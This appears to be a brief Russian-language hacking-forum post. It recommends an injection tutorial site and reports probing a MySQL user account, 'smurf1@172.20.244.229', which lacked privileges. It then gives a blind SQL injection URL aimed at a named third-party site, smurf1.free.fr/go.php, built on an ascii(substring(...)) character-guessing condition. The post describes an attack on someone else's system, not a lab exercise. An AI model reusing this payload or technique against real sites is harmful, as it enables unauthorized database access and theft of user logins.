Изучай http://injection.rulezz.ru/

в smurf1@172.20.244.229 это когда я попробовал вытащить чё-нить из mysql.users он мне показал что у меня прав нет

upd

http://smurf1.free.fr/go.php?lien=1+and+ascii(substring(0x73656c65637420 6c6f67696e2066726f6d207573657273,1,1))=115/* и далее...

__________________